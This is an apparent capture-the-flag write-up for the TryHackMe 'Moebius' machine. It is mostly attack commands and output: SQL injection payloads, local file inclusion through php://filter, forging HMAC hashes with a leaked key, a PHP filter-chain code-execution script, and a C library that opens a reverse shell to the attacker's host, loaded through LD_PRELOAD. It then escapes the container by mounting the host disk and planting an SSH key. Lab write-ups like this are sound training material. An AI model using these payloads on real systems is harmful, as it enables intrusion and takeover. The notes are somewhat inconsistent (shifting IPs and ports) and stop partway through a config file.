Moebius
Created: April 26, 2025 3:09 PM
Status: Not started
Reconnaissance && Service Enumeration
Rustscan » open port’s
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| Open 10.10.22.231:22
Open 10.10.22.231:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-26 15:11 EDT
Initiating Ping Scan at 15:11
Scanning 10.10.22.231 [4 ports]
Completed Ping Scan at 15:11, 0.17s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:11
Completed Parallel DNS resolution of 1 host. at 15:11, 0.05s elapsed
DNS resolution of 1 IPs took 0.05s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 15:11
Scanning 10.10.22.231 [2 ports]
Discovered open port 80/tcp on 10.10.22.231
Discovered open port 22/tcp on 10.10.22.231
Completed SYN Stealth Scan at 15:11, 0.16s elapsed (2 total ports)
Nmap scan report for 10.10.22.231
Host is up, received echo-reply ttl 63 (0.14s latency).
Scanned at 2025-04-26 15:11:02 EDT for 1s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 62
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
|
nmap » versions , server running
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| └─$ nmap -p22,80 10.10.22.231 -sV -A
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-26 15:14 EDT
Nmap scan report for 10.10.22.231
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Image Grid
|_http-server-header: Apache/2.4.62 (Debian)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Network Distance: 2 hops
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 148.82 ms 10.23.0.1
2 148.90 ms 10.10.22.231
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.95 seconds
|
Web Application Analysis
Burp Suite, OWASP ZAP, Nikto, Wapiti, Dirbuster
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| └─$ ffuf -u http://10.10.22.231/FUZZ -w /usr/share/wordlists/dirb/common.txt
/'___\ /'___\ /'___\
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.22.231/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.hta [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 138ms]
.htaccess [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 139ms]
.htpasswd [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 134ms]
[Status: 200, Size: 898, Words: 107, Lines: 25, Duration: 157ms]
index.php [Status: 200, Size: 898, Words: 107, Lines: 25, Duration: 221ms]
server-status [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 223ms]
:: Progress: [4614/4614] :: Job [1/1] :: 123 req/sec :: Duration: [0:00:21] :: Errors: 0 ::
|
Vulnerability Scanning
Exploit-DB, CVE Details, ZeroDay Initiative (ZDI), Exploit Tracker, Metasploit Exploit Database
Nested SQL Injection
First of all, we know that the query we inject into, SELECT id from albums where short_tag = '<short_tag>'
, simply fetches the album id
from the albums
table. However, if we look at the output of album.php with a valid short_tag
, we can see that the page also displays the paths
for the images, which are stored in the images
table.
We don’t know if the application exactly works this way, but we can simply test it. First, using a payload like jxf' UNION SELECT 0-- -
on the short_tag
variable for album.php with the request http://10.10.152.169/album.php?short_tag=jxf' UNION SELECT 0-- -
, we can see that we are able to control the album_id
returned by the query.
Now, instead of an id
, with a payload like jxf' UNION SELECT "0 OR 1=1-- -"-- -
, we can make the first query return 0 OR 1=1-- -
Now, trying to set the path
as /etc/passwd
to force album.php to calculate the hash for this path and use it at /image.php to read it, with the payload jxf' UNION SELECT "0 UNION SELECT 1,2,'/etc/passwd'-- -"-- -
, we once again encounter the Hacking attempt error, as /
is a filtered character.
successfully able to include the /etc/passwd
file download and read its contents.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| └─$ ls
image.php
┌──(neo㉿neo)-[~/pro/m]
└─$ cat image.php
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
┌──(neo㉿neo)-
|
Reading Application Files
1
| php://filter/convert.base64-encode/resource=
|
1
| first the file place >>>>> php://filter/convert.base64-encode/resource=album.php
|
1
| encrypted by base64 >>>>> 7068703a2f2f66696c7465722f636f6e766572742e6261736536342d656e636f64652f7265736f757263653d616c62756d2e706870
|
$ curl -s 'http://10.10.152.169/image.php?hash=ec6e518b7e39db98affbf2bf2c671d469639503d4fee97bf7cf0f0a1319075d9&path=php://filter/convert.base64-encode/resource=album.php' | base64 -d
1
| $ curl -s 'http://10.10.152.169/image.php?hash=ec6e518b7e39db98affbf2bf2c671d469639503d4fee97bf7cf0f0a1319075d9&path=php://filter/convert.base64-encode/resource=album.php' | base64 -d
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
| ...
<?php
include('dbconfig.php');
try {
// Create a new PDO instance
$conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
// Set PDO error mode to exception
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
if (preg_match('/[\/;]/', $_GET['short_tag'])) {
// If it does, terminate with an error message
die("Hacking attempt");
}
$album_id = "SELECT id from albums where short_tag = '" . $_GET['short_tag'] . "'";
$result_album = $conn->prepare($album_id);
$result_album->execute();
$r=$result_album->fetch();
$id=$r['id'];
// Fetch image IDs from the database
$sql_ids = "SELECT * FROM images where album_id=" . $id;
$stmt_path= $conn->prepare($sql_ids);
$stmt_path->execute();
// Display the album id
echo "<!-- Short tag: " . $_GET['short_tag'] . " - Album ID: " . $id . "-->\n";
// Display images in a grid
echo '<div class="grid-container">' . "\n";
foreach ($stmt_path as $row) {
// Get the image ID
$path = $row["path"];
$hash = hash_hmac('sha256', $path, $SECRET_KEY);
// Create link to image.php with image ID
echo '<div class="image-container">' . "\n";
echo '<a href="/image.php?hash='. $hash . '&path=' . $path . '">';
echo '<img src="/image.php?hash='. $hash . '&path=' . $path . '" alt="Image path: ' . $path . '">';
...
|
Reading the source code of album.php
, we see that the application calculates hashes using HMAC-SHA256:
1
| $hash = hash_hmac('sha256', $path, $SECRET_KEY);
|
However, the SECRET_KEY
is not defined inside album.php
— instead, it includes dbconfig.php
, so it is most likely that the key is defined there.
To retrieve dbconfig.php, we repeat the same method: hex-encode the path and create another payload:
This allows us to fetch the hash for php://filter/convert.base64-encode/resource=dbconfig.php
.
1
| jxf' UNION SELECT "0 UNION SELECT 1,2,0x7068703a2f2f66696c7465722f636f6e766572742e6261736536342d656e636f64652f7265736f757263653d6462636f6e6669672e706870-- -"-- -
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| └─$ cat dbconfig.php
PD9waHAKLy8gRGF0YWJhc2UgY29ubmVjdGlvbiBzZXR0aW5ncwokc2VydmVybmFtZSA9ICJkYiI7CiR1c2VybmFtZSA9ICJ3ZWIiOwokcGFzc3dvcmQgPSAiVEFKbkY2WXVJb3Q4M1gzZyI7CiRkYm5hbWUgPSAid2ViIjsKCgokU0VDUkVUX0tFWT0nYW44aDZvVGxOQjlOMEhOY0pNUFlKV3lwUFIyNzg2SVE0STN3b1BBMUJxb0o3aHpJUzBxUVdpMkVLbUp2QWdPVyc7Cj8+
┌──(neo㉿neo)-[~/pro/m]
┌──(neo㉿neo)-[~/pro/m]
└─$ cat dbconfig.php | base64 -d
<?php
// Database connection settings
$servername = "db";
$username = "web";
$password = "TAJnF6YuIot83X3g";
$dbname = "web";
$SECRET_KEY='an8h6oTlNB9N0HNcJMPYJWypPR2786IQ4I3woPA1BqoJ7hzIS0qQWi2EKmJvAgOW';
?>
|
Now that we have the SECRET_KEY
, we can easily calculate valid HMAC-SHA256 hashes for any path we want. Here’s a simple Python script to automate this:
1
2
3
4
5
6
7
8
9
| import hmac
import hashlib
import sys
secret_key = b"an8h6oTlNB9N0HNcJMPYJWypPR2786IQ4I3woPA1BqoJ7hzIS0qQWi2EKmJvAgOW"
path = sys.argv[1].encode()
h = hmac.new(secret_key, path, hashlib.sha256)
signature = h.hexdigest()
print(signature)
|
1
2
3
4
| └─$ python3 hash.py 'php://filter/convert.base64-encode/resource=image.php'
ddc6eb77667e8f2dc36eeea2cb0883eb1ede14e6f6e32b6244256040dacfe5c6
┌──(neo㉿neo)-[~/pro/m]
└─$
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
| └─$ curl -s 'http://10.10.97.40/image.php?hash=ddc6eb77667e8f2dc36eeea2cb0883eb1ede14e6f6e32b6244256040dacfe5c6&path=php://filter/convert.base64-encode/resource=image.php' | base64 -d
<?php
include('dbconfig.php');
// Create a new PDO instance
// Set PDO error mode to exception
// Get the image ID from the query string
// Fetch image path from the database based on the ID
// Fetch image path
$image_path = $_GET['path'];
$hash= $_GET['hash'];
$computed_hash=hash_hmac('sha256', $image_path, $SECRET_KEY);
if ($image_path && $computed_hash === $hash) {
// Get the MIME type of the image
$image_info = @getimagesize($image_path);
if ($image_info && isset($image_info['mime'])) {
$mime_type = $image_info['mime'];
// Set the appropriate content type header
header("Content-type: $mime_type");
// Output the image data
include($image_path);
} else {
header("Content-type: application/octet-stream");
include($image_path);
}
} else {
echo "Image not found";
}
?>
|
they are vulnerable to Local File Inclusion (LFI)
1
2
3
|
Warning: Trying to access array offset on false in /var/www/html/album.php on line 32
Connection failed: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' at line 1
|
We see that the parameter is vulnerable to three different SQL injection variants:
boolean-based blind
error-based
ime-based blind
[Moebius |
Writeups](https://0xb0b.gitbook.io/writeups/tryhackme/2025/moebius) |
Exploit & Initial Access
Reverse Shell Generators writeup
🐚 Reverse Shell Generators
To turn this LFI vulnerability into RCE, another method besides log poisoning is to use PHP filters chain
We can generate a filter chain using by Synacktiv:
https://github.com/synacktiv/php_filter_chain_generator
1
2
3
4
5
6
| └─$ python3 ./php_filter_chain_generator.py --chain '<?=eval($_GET[0])?>'
[+] The following gadget chain will generate the following code : <?=eval($_GET[0])?> (base64 value: PD89ZXZhbCgkX0dFVFswXSk/Pg)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
┌──(neo㉿neo)-[~/pro/m/php_filter_chain_generator]
|
executable code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| import hmac
import hashlib
import requests
target_url = "http://10.10.97.40/image.php" # change the IP address
secret_key = b"an8h6oTlNB9N0HNcJMPYJWypPR2786IQ4I3woPA1BqoJ7hzIS0qQWi2EKmJvAgOW"
path = "php://filter/convert.iconv.UTF8.CSISO2022KR| put the generated code form above |convert.base64-decode/resource=php://temp".encode() # replace with the output of php_filter_chain_generator.py
h = hmac.new(secret_key, path, hashlib.sha256)
signature = h.hexdigest()
while True:
params = {
"hash": signature,
"path": path,
"0": input("code> ")
}
resp = requests.get(target_url, params=params, timeout=5)
text = resp.text
print(text)
|
running the script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| $ python3 execute_code.py
code> system('id')
<br />
<b>Parse error</b>: syntax error, unexpected end of file in <b>php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp(1) : eval()'d code</b> on line <b>1</b><br />
code> echo ini_get('disable_functions');
exec, system, popen, proc_open, proc_nice, shell_exec, passthru, dl, pcntl_alarm, pcntl_async_signals, pcntl_errno, pcntl_exec, pcntl_fork, pcntl_get_last_error, pcntl_getpriority, pcntl_rfork, pcntl_setpriority, pcntl_signal_dispatch, pcntl_signal_get_handler, pcntl_signal, pcntl_sigprocmask, pcntl_sigtimedwait, pcntl_sigwaitinfo, pcntl_strerror, pcntl_unshare, pcntl_wait, pcntl_waitpid, pcntl_wexitstatus, pcntl_wifexited, pcntl_wifsignaled, pcntl_wifstopped, pcntl_wstopsig, pcntl_wtermsig²B”0øôô>==€@CàÐÐøôô>==€@CàÐÐøôô>==€@CàÐÐøôô>==€@CàÐÐøôô>==€@CàÐÐøôô>==€@CàÐÐøôô>==€@
code> $ch = curl_init('http://10.8.95.134/shell.so');curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);file_put_contents('/tmp/shell.so', curl_exec($ch)); curl_close($ch);
²B”0øôô>==€@CàÐÐøôô>==€@CàÐÐøôô>==€@CàÐÐøôô>==€@CàÐÐøôô>==€@CàÐÐøôô>==€@CàÐÐøôô>==€@
code> putenv('LD_PRELOAD=/tmp/shell.so'); mail('a','a','a','a');
Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 534, in _make_request
response = conn.getresponse()
File "/usr/lib/python3/dist-packages/urllib3/connection.py", line 516, in getresponse
httplib_response = super().getresponse()
File "/usr/lib/python3.13/http/client.py", line 1430, in getresponse
response.begin()
~~~~~~~~~~~~~~^^
File "/usr/lib/python3.13/http/client.py", line 331, in begin
version, status, reason = self._read_status()
~~~~~~~~~~~~~~~~~^^
File "/usr/lib/python3.13/http/client.py", line 292, in _read_status
line = str(self.fp.readline(_MAXLINE + 1), "iso-8859-1")
~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^
File "/usr/lib/python3.13/socket.py", line 719, in readinto
return self._sock.recv_into(b)
~~~~~~~~~~~~~~~~~~~~^^^
TimeoutError: timed out
.....
|
shell
1
2
3
4
5
6
7
8
9
| └─$ cat shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
system("bash -c \"bash -i >& /dev/tcp/10.8.95.134/4444 0>&1\"");
}
|
Compiling it:
1
| $ gcc -fPIC -shared -o shell.so shell.c -nostartfiles
|
Serving it via a simple HTTP server:
1
2
| $ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
|
Now, using the PHP code execution to download the library onto the target:
1
2
| $ python3 execute_code.py
code> $ch = curl_init('http://10.14.101.76/shell.so');curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);file_put_contents('/tmp/shell.so', curl_exec($ch)); curl_close($ch);
|
We can see the library being downloaded from our server:
1
2
3
| $ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.152.169 - - [27/Apr/2025 13:47:10] "GET /shell.so HTTP/1.1" 200 -
|
Now, setting the LD_PRELOAD
environment variable with the putenv
function to the library we uploaded, and calling the mail
function to run the sendmail
program, causing our library to be loaded and executed:
1
| code> putenv('LD_PRELOAD=/tmp/shell.so'); mail('a','a','a','a');
|
With this, we can see that our reverse shell payload is executed, and we get a shell as the www-data
user inside a container:
1
2
3
4
5
6
7
8
9
10
11
12
13
| $ nc -lvnp 443
listening on [any] 443 ...
connect to [10.14.101.76] from (UNKNOWN) [10.10.152.169] 46126
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bb28d5969dd5:/var/www/html$ script -qc /bin/bash /dev/null
www-data@bb28d5969dd5:/var/www/html$ ^Z
$ stty raw -echo; fg
www-data@bb28d5969dd5:/var/www/html$ export TERM=xterm
www-data@bb28d5969dd5:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),27(sudo)
|
Privilege Escalation
User Flag
Container Escape
Checking the sudo
privileges for the www-data
user inside the container reveals full access:
1
2
3
4
5
6
7
8
9
| www-data@bb28d5969dd5:/var/www/html$ sudo -l
Matching Defaults entries for www-data on bb28d5969dd5:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User www-data may run the following commands on bb28d5969dd5:
(ALL : ALL) ALL
(ALL : ALL) NOPASSWD: ALL
|
Escalating to root
inside the container:
1
2
3
| www-data@bb28d5969dd5:/var/www/html$ sudo su -
root@bb28d5969dd5:~# id
uid=0(root) gid=0(root) groups=0(root)
|
Next, we inspect the effective capabilities of the container:
1
2
| root@bb28d5969dd5:~# grep CapEff /proc/self/status
CapEff: 000001ffffffffff
|
Decoding this value confirms the container holds many capabilities:
1
2
| $ capsh --decode=000001ffffffffff
0x000001ffffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,cap_perfmon,cap_bpf,cap_checkpoint_restore
|
With these capabilities, there are many ways to escape the container. However, one of the simplest methods would be to mount the host’s root filesystem since we have direct access to the host’s block devices:
1
2
3
| root@bb28d5969dd5:~# mount /dev/nvme0n1p1 /mnt
root@bb28d5969dd5:~# cat /mnt/etc/hostname
ubuntu-jammy
|
To convert this filesystem access into a shell, we can add an SSH public key to the host’s /root/.ssh/authorized_keys
. First, generating a key pair:
1
2
3
4
| $ ssh-keygen -f id_ed25519 -t ed25519
...
$ cat id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB0nYk5JDOsXnmkB8tQOOspf8I5Ubr2sBLtnXUFq4RMP kali@kali
|
Writing the public key to /mnt/root/.ssh/authorized_keys
(/root/.ssh/authorized_keys
on the host):
1
| root@bb28d5969dd5:~# echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB0nYk5JDOsXnmkB8tQOOspf8I5Ubr2sBLtnXUFq4RMP kali@kali' >> /mnt/root/.ssh/authorized_keys
|
Now, we can use the private key with SSH to get a shell as the root
user on the host and read the user flag at /root/user.txt
.
1
2
3
4
5
6
| $ ssh -i id_ed25519 root@10.10.152.169
root@ubuntu-jammy:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu-jammy:~# wc -c /root/user.txt
38 /root/user.txt
|
Root Flag
MySQL Database
From the dbconfig.php
file, we already knew that the database was running on another host (db
). Checking the docker-compose.yml
at /root/challenge/docker-compose.yml
, we can see it is another container:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| root@ubuntu-jammy:~/challenge# cat docker-compose.yml; echo
version: '3'
